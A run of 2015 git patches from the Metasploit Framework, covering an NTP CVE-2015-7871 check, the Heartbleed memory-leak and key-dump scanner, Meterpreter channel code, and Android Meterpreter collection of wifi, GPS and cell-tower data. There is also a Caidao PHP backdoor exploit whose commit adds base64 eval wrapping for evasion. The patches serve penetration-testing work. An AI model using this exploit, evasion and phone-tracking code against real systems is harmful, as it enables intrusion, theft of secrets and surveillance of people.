+++++++++++-------- 1 file changed, 53 insertions(+), 37 deletions(-) diff --git a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb index cc504c69fa..f0df624eb3 100644 --- a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb +++ b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb @@ -7,8 +7,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::Udp - include Msf::Auxiliary::UDPScanner include Msf::Auxiliary::NTP def initialize(info = {}) @@ -37,7 +37,13 @@ class Metasploit3 < Msf::Auxiliary [ 'URL', 'http://www.cisco.com/c/en/us/support/docs/availability/high-availability/19643-ntpm.html' ], [ 'URL', 'http://support.ntp.org/bin/view/Main/NtpBug2941' ], [ 'CVE', '2015-7871' ] - ] + ], + 'Actions' => + [ + ['CHECK', { 'Description' => 'Check for NTP NAK to the future' }], + ['SET', { 'Description' => 'Set the time' }] + ], + 'DefaultAction' => 'CHECK' ) ) @@ -45,53 +51,63 @@ class Metasploit3 < Msf::Auxiliary [ OptInt.new('OFFSET', [true, "Offset from local time, in seconds", 300]) ], self.class) + + deregister_options('RHOST') end - def scanner_process(data, shost, _sport) - @results[shost] ||= [] - @results[shost] << data - end - - def scan_host(ip) + def build_crypto_nak(time) probe = Rex::Proto::NTP::NTPSymmetric.new probe.stratum = 1 probe.poll = 10 probe.mode = 1 - now = Time.now - # compute the timestamp. NTP stores a timestamp as 64-bit unsigned - # integer, the high 32-bits representing the number of seconds since era - # epoch and the low 32-bits representing the fraction of a second. The era - # epoch in this case is Jan 1 1900, so we must add the number of seconds - # between then and the ruby era epoch, Jan 1 1970, which is 2208988800 - ts = ((now.to_i + 2208988800 + datastore['OFFSET']) << 32) + now.nsec + unless time + now = Time.now + # compute the timestamp. NTP stores a timestamp as 64-bit unsigned + # integer, the high 32-bits representing the number of seconds since era + # epoch and the low 32-bits representing the fraction of a second. The era + # epoch in this case is Jan 1 1900, so we must add the number of seconds + # between then and the ruby era epoch, Jan 1 1970, which is 2208988800 + time = ((now.to_i + 2208988800 + datastore['OFFSET']) << 32) + now.nsec + end + # TODO: use different values for each? - probe.reference_timestamp = ts - probe.origin_timestamp = ts - probe.receive_timestamp = ts - probe.transmit_timestamp = ts + probe.reference_timestamp = time + probe.origin_timestamp = time + probe.receive_timestamp = time + probe.transmit_timestamp = time # key-id 0 probe.payload = "\x00\x00\x00\x00" - scanner_send(probe, ip, datastore['RPORT']) - # TODO: whatever is next in order to let us win the race against the other peers + probe end - def scanner_postscan(batch) - @results.keys.map do |host| - @results[host].map do |response| - ntp_symmetric = Rex::Proto::NTP::NTPSymmetric.new(response) - if ntp_symmetric.mode = 2 - print_good("#{host}:#{rport} - NTP - VULNERABLE: Accepted a NTP symmetric active association") - report_vuln( - :host => host, - :port => rport.to_i, - :proto => 'udp', - :sname => 'ntp', - :name => 'NTP "NAK to the Future"', - :info => "Accepted an NTP symmetric active association by replying with a symmetric passive request", - :refs => self.references - ) - end + def check + connect_udp + + # pick a random 64-bit timestamp + canary_timestamp = rand(2**32..2**64-1) + probe = build_crypto_nak(canary_timestamp) + udp_sock.puts(probe) + + expected_length = probe.length - probe.payload.length + response = udp_sock.timed_read(expected_length) + disconnect_udp + if response.length == expected_length + ntp_symmetric = Rex::Proto::NTP::NTPSymmetric.new(response) + if ntp_symmetric.mode == 2 && ntp_symmetric.origin_timestamp == canary_timestamp + vprint_good("#{rhost}:#{rport} - NTP - VULNERABLE: Accepted a NTP symmetric active association") + report_vuln( + host: rhost, + port: rport.to_i, + proto: 'udp', + sname: 'ntp', + name: 'NTP "NAK to the Future"', + info: 'Accepted an NTP symmetric active association by replying with a symmetric passive request', + refs: references + ) + return Exploit::CheckCode::Appears end end + + return Exploit::CheckCode::Unknown end end From de959ed62b99b8c93505ba46cd7e31486947931d Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 2 Nov 2015 13:54:42 -0800 Subject: [PATCH 1056/2172] Remove actions; check and run_* will suffice --- .../auxiliary/scanner/ntp/ntp_nak_to_the_future.rb | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb index f0df624eb3..b3b1f33454 100644 --- a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb +++ b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb @@ -37,13 +37,7 @@ class Metasploit3 < Msf::Auxiliary [ 'URL', 'http://www.cisco.com/c/en/us/support/docs/availability/high-availability/19643-ntpm.html' ], [ 'URL', 'http://support.ntp.org/bin/view/Main/NtpBug2941' ], [ 'CVE', '2015-7871' ] - ], - 'Actions' => - [ - ['CHECK', { 'Description' => 'Check for NTP NAK to the future' }], - ['SET', { 'Description' => 'Set the time' }] - ], - 'DefaultAction' => 'CHECK' + ] ) ) @@ -110,4 +104,8 @@ class Metasploit3 < Msf::Auxiliary return Exploit::CheckCode::Unknown end + + def run_host(ip) + fail_with(Failure::Unknown, 'Not yet implemented') + end end From 2e837b26e814ed749f22456444e699f707fa991a Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Mon, 2 Nov 2015 16:02:45 -0600 Subject: [PATCH 1057/2172] Use a Queue instead of Array --- .../socket_subsystem/tcp_server_channel.rb | 152 ++++++++---------- 1 file changed, 67 insertions(+), 85 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb index c0f8cc289c..b45a032976 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb @@ -15,7 +15,6 @@ module Net module SocketSubsystem class TcpServerChannel < Rex::Post::Meterpreter::Channel - include Rex::IO::StreamServer # # This is a class variable to store all pending client tcp connections which have not been passed @@ -25,73 +24,59 @@ class TcpServerChannel < Rex::Post::Meterpreter::Channel # @@server_channels = {} - class << self - include Rex::Post::Meterpreter::InboundPacketHandler + # + # This is the request handler which is registered to the respective meterpreter instance via + # Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket. All incoming requests from the meterpreter + # for a 'tcp_channel_open' will be processed here. We create a new TcpClientChannel for each request + # received and store it in the respective tcp server channels list of new pending client channels. + # These new tcp client channels are passed off via a call the the tcp server channels accept() method. + # + def self.request_handler(client, packet) + return false unless packet.method == "tcp_channel_open" - # - # This is the request handler which is registerd to the respective meterpreter instance via - # Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket. All incoming requests from the meterpreter - # for a 'tcp_channel_open' will be processed here. We create a new TcpClientChannel for each request - # received and store it in the respective tcp server channels list of new pending client channels. - # These new tcp client channels are passed off via a call the the tcp server channels accept() method. - # - def request_handler( client, packet ) + cid = packet.get_tlv_value( TLV_TYPE_CHANNEL_ID ) + pid = packet.get_tlv_value( TLV_TYPE_CHANNEL_PARENTID ) + localhost = packet.get_tlv_value( TLV_TYPE_LOCAL_HOST ) + localport = packet.get_tlv_value( TLV_TYPE_LOCAL_PORT ) + peerhost = packet.get_tlv_value( TLV_TYPE_PEER_HOST ) + peerport = packet.get_tlv_value( TLV_TYPE_PEER_PORT ) - if( packet.method == "tcp_channel_open" ) + return false if cid.nil? || pid.nil? - cid = packet.get_tlv_value( TLV_TYPE_CHANNEL_ID ) - pid = packet.get_tlv_value( TLV_TYPE_CHANNEL_PARENTID ) - localhost = packet.get_tlv_value( TLV_TYPE_LOCAL_HOST ) - localport = packet.get_tlv_value( TLV_TYPE_LOCAL_PORT ) - peerhost = packet.get_tlv_value( TLV_TYPE_PEER_HOST ) - peerport = packet.get_tlv_value( TLV_TYPE_PEER_PORT ) + server_channel = client.find_channel(pid) - if( cid == nil or pid == nil ) - return false - end + return false if server_channel.nil? - server_channel = client.find_channel( pid ) - if( server_channel == nil ) - return false - end + params = Rex::Socket::Parameters.from_hash( + { + 'Proto' => 'tcp', + 'LocalHost' => localhost, + 'LocalPort' => localport, + 'PeerHost' => peerhost, + 'PeerPort' => peerport, + 'Comm' => server_channel.client + } + ) - params = Rex::Socket::Parameters.from_hash( - { - 'Proto' => 'tcp', - 'LocalHost' => localhost, - 'LocalPort' => localport, - 'PeerHost' => peerhost, - 'PeerPort' => peerport, - 'Comm' => server_channel.client - } - ) + client_channel = TcpClientChannel.new(client, cid, TcpClientChannel, CHANNEL_FLAG_SYNCHRONOUS) - client_channel = TcpClientChannel.new( client, cid, TcpClientChannel, CHANNEL_FLAG_SYNCHRONOUS ) + client_channel.params = params - client_channel.params = params + @@server_channels[server_channel] ||= ::Queue.new + @@server_channels[server_channel].enq(client_channel) - if( @@server_channels[server_channel] == nil ) - @@server_channels[server_channel] = [] - end - - @@server_channels[server_channel] << client_channel - - return true - end - - return false - end - - def cls - return CHANNEL_CLASS_STREAM - end + true + end + def self.cls + CHANNEL_CLASS_STREAM end # # Open a new tcp server channel on the remote end. # - def TcpServerChannel.open(client, params) + # @return [Channel] + def self.open(client, params) c = Channel.create(client, 'stdapi_net_tcp_server', self, CHANNEL_FLAG_SYNCHRONOUS, [ { @@ -113,7 +98,7 @@ class TcpServerChannel < Rex::Post::Meterpreter::Channel def initialize(client, cid, type, flags) super(client, cid, type, flags) # add this instance to the class variables dictionary of tcp server channels - @@server_channels[self] = [] + @@server_channels[self] ||= ::Queue.new end # @@ -121,49 +106,46 @@ class TcpServerChannel < Rex::Post::Meterpreter::Channel # and returns nil if no new client connection is available. # def accept_nonblock - result = nil - if( @@server_channels[self].length > 0 ) - channel = @@server_channels[self].shift - result = channel.lsock - end - return result + _accept(true) end # # Accept a new tcp client connection form this tcp server channel. This method will block indefinatly # if no timeout is specified. # - def accept( opts={} ) - timeout = opts['Timeout'] || -1 - if( timeout == -1 ) - result = _accept - else - begin - ::Timeout.timeout( timeout ) { - result = _accept - } - rescue Timeout::Error - result = nil - end + def accept(opts = {}) + timeout = opts['Timeout'] + if (timeout.nil? || timeout <= 0) + timeout = 0 end - return result + + result = nil + begin + ::Timeout.timeout(timeout) { + result = _accept + } + rescue Timeout::Error + end + + result end protected - def _accept - while( true ) - if( @@server_channels[self].empty? ) - Rex::ThreadSafe.sleep( 0.2 ) - next - end - result = accept_nonblock - if result != nil - result.extend(Rex::Socket::Tcp) - break - end + def _accept(nonblock = false) + result = nil + + channel = @@server_channels[self].deq(nonblock) + + if channel + result = channel.lsock end - return result + + if result != nil && !result.kind_of?(Rex::Socket::Tcp) + result.extend(Rex::Socket::Tcp) + end + + result end end From dd91956c4a5679455b1932231e8d660c8bac340d Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 2 Nov 2015 15:07:26 -0800 Subject: [PATCH 1058/2172] ooops, puts --- modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb index b3b1f33454..74401aaeec 100644 --- a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb +++ b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Auxiliary # pick a random 64-bit timestamp canary_timestamp = rand(2**32..2**64-1) probe = build_crypto_nak(canary_timestamp) - udp_sock.puts(probe) + udp_sock.put(probe) expected_length = probe.length - probe.payload.length response = udp_sock.timed_read(expected_length) From 4d97e33bc5d43cf957e36b2276c02b44f2b1c816 Mon Sep 17 00:00:00 2001 From: Tom Spencer <tspencer@qualcomm.com> Date: Mon, 2 Nov 2015 16:07:21 -0800 Subject: [PATCH 1059/2172] Dramatic speed-up in bleeding, improved verbose output of leaked data. --- .../scanner/ssl/openssl_heartbleed.rb | 98 +++++++++++++------ 1 file changed, 67 insertions(+), 31 deletions(-) diff --git a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb index a435cd67e0..2486e09e2e 100644 --- a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb +++ b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb @@ -71,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary 0x00ff # Unknown ] + SSL_RECORD_HEADER_SIZE = 0x05 HANDSHAKE_RECORD_TYPE = 0x16 HEARTBEAT_RECORD_TYPE = 0x18 ALERT_RECORD_TYPE = 0x15 @@ -79,7 +80,6 @@ class Metasploit3 < Msf::Auxiliary HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e - TLS_VERSION = { 'SSLv3' => 0x0300, '1.0' => 0x0301, @@ -99,6 +99,10 @@ class Metasploit3 < Msf::Auxiliary # See the discussion at https://github.com/rapid7/metasploit-framework/pull/3252 SAFE_CHECK_MAX_RECORD_LENGTH = (1 << 14) + # For verbose output, deduplicate repeated characters beyond this threshold + DEDUP_REPEATED_CHARS_THRESHOLD = 400 + + def initialize super( 'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak', @@ -203,10 +207,6 @@ class Metasploit3 < Msf::Auxiliary # Main method def run_host(ip) - # initial connect to get public key and stuff - connect_result = establish_connect - disconnect - return if connect_result.nil? case action.name when 'SCAN' @@ -214,7 +214,7 @@ class Metasploit3 < Msf::Auxiliary when 'DUMP' loot_and_report(bleed) # Scan & Dump are similar, scan() records results when 'KEYS' - getkeys + get_keys else # Shouldn't get here, since Action is Enum print_error("Unknown Action: #{action.name}") @@ -424,20 +424,15 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{peer} - Sending Client Hello...") sock.put(client_hello) - server_hello = get_data - unless server_hello - vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...") - return nil - end - server_resp_parsed = parse_ssl_record(server_hello) + server_resp = get_server_hello - if server_resp_parsed.nil? + if server_resp.nil? vprint_error("#{peer} - Server Hello Not Found") return nil end - server_resp_parsed + server_resp end # Generates a heartbeat request @@ -455,7 +450,7 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{peer} - Sending Heartbeat...") sock.put(heartbeat_request(heartbeat_length)) - hdr = get_data(5) + hdr = get_data(SSL_RECORD_HEADER_SIZE) if hdr.nil? || hdr.empty? vprint_error("#{peer} - No Heartbeat response...") disconnect @@ -533,16 +528,34 @@ class Metasploit3 < Msf::Auxiliary print_status("#{peer} - Heartbeat data stored in #{path}") end - vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}") + # Convert non-printable characters to periods + printable_data = heartbeat_data.gsub(/[^[:print:]]/, '.') + + # Keep this many duplicates as padding around the deduplication message + duplicate_pad = (DEDUP_REPEATED_CHARS_THRESHOLD / 3).round + + # Remove duplicate characters + abbreviated_data = printable_data.gsub(/(.)\1{#{(DEDUP_REPEATED_CHARS_THRESHOLD - 1)},}/) { |s| + s[0,duplicate_pad] + + ' repeated ' + ( s.length - (2 * duplicate_pad) ).to_s + ' times ' + + s[-duplicate_pad,duplicate_pad] + } + + # Show abbreviated data + vprint_status("#{peer} - Printable info leaked:\n#{abbreviated_data}") end # - # Keydumoing helper methods + # Keydumping helper methods # # Tries to retreive the private key - def getkeys + def get_keys + connect_result = establish_connect + disconnect + return if connect_result.nil? + print_status("#{peer} - Scanning for private keys") count = 0 @@ -681,12 +694,33 @@ class Metasploit3 < Msf::Auxiliary ssl_record(HANDSHAKE_RECORD_TYPE, data) end - # Parse SSL header - def parse_ssl_record(data) - ssl_records = [] - remaining_data = data + def get_ssl_record + hdr = get_data(SSL_RECORD_HEADER_SIZE) + + unless hdr + vprint_error("#{peer} - No SSL record header received after #{response_timeout} seconds...") + return nil + end + + len = hdr.unpack('Cnn')[2] + data = get_data(len) + + unless data + vprint_error("#{peer} - No SSL record contents received after #{response_timeout} seconds...") + return nil + end + + hdr << data + end + + # Get and parse server hello response until we hit Server Hello Done or timeout + def get_server_hello + server_done = nil ssl_record_counter = 0 - while remaining_data && remaining_data.length > 0 + + remaining_data = get_ssl_record + + while remaining_data and remaining_data.length > 0 ssl_record_counter += 1 ssl_unpacked = remaining_data.unpack('CH4n') return nil if ssl_unpacked.nil? or ssl_unpacked.length < 3 @@ -702,17 +736,19 @@ class Metasploit3 < Msf::Auxiliary else ssl_data = remaining_data[5, ssl_len] handshakes = parse_handshakes(ssl_data) - ssl_records << { - :type => ssl_type, - :version => ssl_version, - :length => ssl_len, - :data => handshakes - } + + # Stop once we receive a SERVER_HELLO_DONE + if handshakes and handshakes.length > 0 and handshakes[-1][:type] == HANDSHAKE_SERVER_HELLO_DONE_TYPE + server_done = true + break + end + end - remaining_data = remaining_data[(ssl_len + 5)..-1] + + remaining_data = get_ssl_record end - ssl_records + server_done end # Parse Handshake data returned from servers From 557dffd8d272b1315e266536a727b1f675f13240 Mon Sep 17 00:00:00 2001 From: Tom Spencer <tspencer@qualcomm.com> Date: Mon, 2 Nov 2015 21:50:39 -0800 Subject: [PATCH 1060/2172] Fixed extra space at end of line --- modules/auxiliary/scanner/ssl/openssl_heartbleed.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb index 2486e09e2e..c7b697fbde 100644 --- a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb +++ b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb @@ -534,7 +534,7 @@ class Metasploit3 < Msf::Auxiliary # Keep this many duplicates as padding around the deduplication message duplicate_pad = (DEDUP_REPEATED_CHARS_THRESHOLD / 3).round - # Remove duplicate characters + # Remove duplicate characters abbreviated_data = printable_data.gsub(/(.)\1{#{(DEDUP_REPEATED_CHARS_THRESHOLD - 1)},}/) { |s| s[0,duplicate_pad] + ' repeated ' + ( s.length - (2 * duplicate_pad) ).to_s + ' times ' + From 07b34e89065f96040aacbf99685b6d795960ac8c Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Tue, 3 Nov 2015 00:23:29 -0600 Subject: [PATCH 1061/2172] Missing types and parsing, more work left to go --- .../meterpreter/extensions/android/android.rb | 54 +++++++++++++++---- .../meterpreter/extensions/android/tlv.rb | 26 ++++++++- 2 files changed, 69 insertions(+), 11 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index bdc7efee7c..6de2ecf9b2 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -21,6 +21,7 @@ class Android < Extension COLLECT_TYPE_WIFI = 1 COLLECT_TYPE_GEO = 2 + COLLECT_TYPE_CELL = 3 COLLECT_ACTION_START = 1 COLLECT_ACTION_PAUSE = 2 @@ -30,7 +31,8 @@ class Android < Extension COLLECT_TYPES = { 'wifi' => COLLECT_TYPE_WIFI, - 'geo' => COLLECT_TYPE_GEO + 'geo' => COLLECT_TYPE_GEO, + 'cell' => COLLECT_TYPE_CELL, } COLLECT_ACTIONS = { @@ -82,6 +84,8 @@ class Android < Extension collections: [] } + p [opts, response] + case COLLECT_TYPES[opts[:type]] when COLLECT_TYPE_WIFI result[:headers] = ['Last Seen', 'BSSID', 'SSID', 'Level'] @@ -122,17 +126,49 @@ class Android < Extension g.each(TLV_TYPE_COLLECT_RESULT_GEO) do |w| lat = w.get_tlv_value(TLV_TYPE_GEO_LAT) lng = w.get_tlv_value(TLV_TYPE_GEO_LONG) - key = "#{lat},#{lng}" - - # Allow record non-duplicate locations over a contiguous period - if !records.include?(key) || records[key][0] < timestamp - records[key] = [timestamp, lat, lng] - end + result[:entries] << [timestamp, lat, lng] end end - records.each do |k, v| - result[:entries] << v + when COLLECT_TYPE_CELL + result[:headers] = ['Timestamp', 'Cell Info'] + result[:entries] = [] + records = {} + + response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g| + p ["RESULT", g] + timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP) + timestamp = Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S') + + active_gsm = g.get_tlv_value(TLV_TYPE_CELL_ACTIVE_GSM) + if active_gsm + cid = get_tlv_value(TLV_TYPE_CELL_CID) + lac = get_tlv_value(TLV_TYPE_CELL_LAC) + psc = get_tlv_value(TLV_TYPE_CELL_PSC) + info = sprintf("cid=%d lac=%d psc=%d", cid, lac, psc) + result[:entries] << [timestamp, "GSM: #{info}"] + end + + active_cdma = g.get_tlv_value(TLV_TYPE_CELL_ACTIVE_CDMA) + if active_cdma + bid = get_tlv_value(TLV_TYPE_CELL_BASE_ID) + lat = get_tlv_value(TLV_TYPE_CELL_BASE_LAT) + lng = get_tlv_value(TLV_TYPE_CELL_BASE_LONG) + net = get_tlv_value(TLV_TYPE_CELL_NET_ID) + sys = get_tlv_value(TLV_TYPE_CELL_SYSTEM_ID) + info = sprintf("base_id=%d lat=%d lng=%d net_id=%d sys_id=%d", bid, lat, lng, net, sys) + result[:entries] << [timestamp, "CDMA: #{info}"] + end + + g.each(TLV_TYPE_CELL_NEIGHBOR) do |w| + net = w.get_tlv_value(TLV_TYPE_CELL_NET_TYPE) + cid = w.get_tlv_value(TLV_TYPE_CELL_CID) + lac = w.get_tlv_value(TLV_TYPE_CELL_LAC) + psc = w.get_tlv_value(TLV_TYPE_CELL_PSC) + sig = w.get_tlv_value(TLV_TYPE_CELL_RSSI) * -1 + inf = sprintf("network_type=%d cid=%d lac=%d psc=%d rssi=%d", net, cid, lac, psc, sig) + result[:entries] << [timestamp, inf] + end end end diff --git a/lib/rex/post/meterpreter/extensions/android/tlv.rb b/lib/rex/post/meterpreter/extensions/android/tlv.rb index 8325d33bd7..99f269327d 100644 --- a/lib/rex/post/meterpreter/extensions/android/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/android/tlv.rb @@ -54,8 +54,30 @@ TLV_TYPE_COLLECT_RESULT_WIFI_BSSID = TLV_TYPE_WLAN_BSSID TLV_TYPE_COLLECT_RESULT_WIFI_SSID = TLV_TYPE_WLAN_SSID TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL = TLV_TYPE_WLAN_LEVEL -# Temporary reuse -TLV_TYPE_COLLECT_RESULT_GEO = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022) + +TLV_TYPE_COLLECT_RESULT_GEO = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9030) + +TLV_TYPE_COLLECT_RESULT_CELL = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9060) + +TLV_TYPE_CELL_ACTIVE_GSM = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9061) +TLV_TYPE_CELL_ACTIVE_CDMA = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9062) +TLV_TYPE_CELL_NEIGHBOR = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9063) + +TLV_TYPE_CELL_NET_TYPE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9065) +TLV_TYPE_CELL_CID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9066) +TLV_TYPE_CELL_LAC = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9067) +TLV_TYPE_CELL_PSC = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9068) +TLV_TYPE_CELL_RSSI = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9069) + + +TLV_TYPE_CELL_BASE_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9070) +TLV_TYPE_CELL_BASE_LAT = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9071) +TLV_TYPE_CELL_BASE_LONG = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9072) +TLV_TYPE_CELL_NET_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9073) +TLV_TYPE_CELL_SYSTEM_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9074) + + + end end From 46fe0c0899c32cd83ba19b6dff7c8bc110a12e92 Mon Sep 17 00:00:00 2001 From: nixawk <hap.ddup@gmail.com> Date: Tue, 3 Nov 2015 06:42:52 +0000 Subject: [PATCH 1062/2172] base64 for evasion purposes --- modules/exploits/multi/http/caidao_php_backdoor_exec.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb index 79f0280d9f..b92814d15e 100644 --- a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb +++ b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb @@ -5,6 +5,7 @@ ## require 'msf/core' +require 'pry' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking @@ -26,7 +27,7 @@ class Metasploit4 < Msf::Exploit::Remote ], 'Payload' => { - 'BadChars' => '\x00', + 'BadChars' => '\x00' }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, @@ -46,6 +47,7 @@ class Metasploit4 < Msf::Exploit::Remote end def http_send_command(code) + code = "eval(base64_decode(\"#{Rex::Text.encode_base64(code)}\"));" res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), From 109e9b6b6e415df6e26cf15241636d3e8c5bc866 Mon Sep 17 00:00:00 2001 From: nixawk <hap.ddup@gmail.com> Date: Tue, 3 Nov 2015 06:52:11 +0000 Subject: [PATCH 1063/2172] remove debug info - require 'pry' --- modules/exploits/multi/http/caidao_php_backdoor_exec.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb index b92814d15e..21a3423fc2 100644 --- a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb +++ b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb @@ -5,7 +5,6 @@ ## require 'msf/core' -require 'pry' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking From 7c2f9531d9c2bd0185e5d060d5aa13f9206f83f6 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Tue, 3 Nov 2015 08:31:33 -0600 Subject: [PATCH 1064/2172] Don't stack trace if listener is on a dead session --- lib/msf/core/handler/reverse_tcp.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index 9447d88652..e74c417236 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -235,7 +235,12 @@ module ReverseTcp end if (self.listener_sock) - self.listener_sock.close + begin + self.listener_sock.close + rescue IOError + # Ignore if it's listening on a dead session + dlog("IOError closing listener sock; listening on dead session?", LEV_1) + end self.listener_sock = nil end end From f1feccfd7c4d23207094945a648ce766aab6199d Mon Sep 17 00:00:00 2001 From: fraf0 <fraf0@users.noreply.github.com> Date: Tue, 3 Nov 2015 16:53:26 +0100 Subject: [PATCH 1065/2172] Update dns_srv_enum.rb --- modules/auxiliary/gather/dns_srv_enum.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/dns_srv_enum.rb b/modules/auxiliary/gather/dns_srv_enum.rb index 2ef6be41eb..2cc746830f 100644 --- a/modules/auxiliary/gather/dns_srv_enum.rb +++ b/modules/auxiliary/gather/dns_srv_enum.rb @@ -38,8 +38,8 @@ class Metasploit3 < Msf::Auxiliary Especially for active directory, it is possible to specify sites. }, 'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>', # First and main. - 'Fabrice RAFART' # patch 20150915 (mainly change for AD and report). - ], + 'Fabrice RAFART' # patch 20150915 (mainly change for AD and report). + ], 'License' => BSD_LICENSE )) @@ -311,4 +311,3 @@ class Metasploit3 < Msf::Auxiliary return results end end - From 3739a2fb7296fedfe0de62b5013819e76eebfbc5 Mon Sep 17 00:00:00 2001 From: fraf0 <fraf0@users.noreply.github.com> Date: Tue, 3 Nov 2015 16:59:55 +0100 Subject: [PATCH 1066/2172] Update dns_srv_enum.rb --- modules/auxiliary/gather/dns_srv_enum.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/dns_srv_enum.rb b/modules/auxiliary/gather/dns_srv_enum.rb index 2cc746830f..8e02910978 100644 --- a/modules/auxiliary/gather/dns_srv_enum.rb +++ b/modules/auxiliary/gather/dns_srv_enum.rb @@ -208,7 +208,7 @@ class Metasploit3 < Msf::Auxiliary '_kerberos.tcp.'+site+'._sites.dc._msdcs.', '_ldap._tcp.'+site+'._sites.', '_ldap._tcp.'+site+'._sites.dc._msdcs.', - '_ldap._tcp.'+site+'._sites.gc._msdcs.' + '_ldap._tcp.'+site+'._sites.gc._msdcs.' ] end From 1fbc4da36c11055bdab71a42f55c16164a3c98f9 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Tue, 3 Nov 2015 17:32:41 -0500 Subject: [PATCH 1067/2172] Fix tab completion for set StageEncoder --- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git 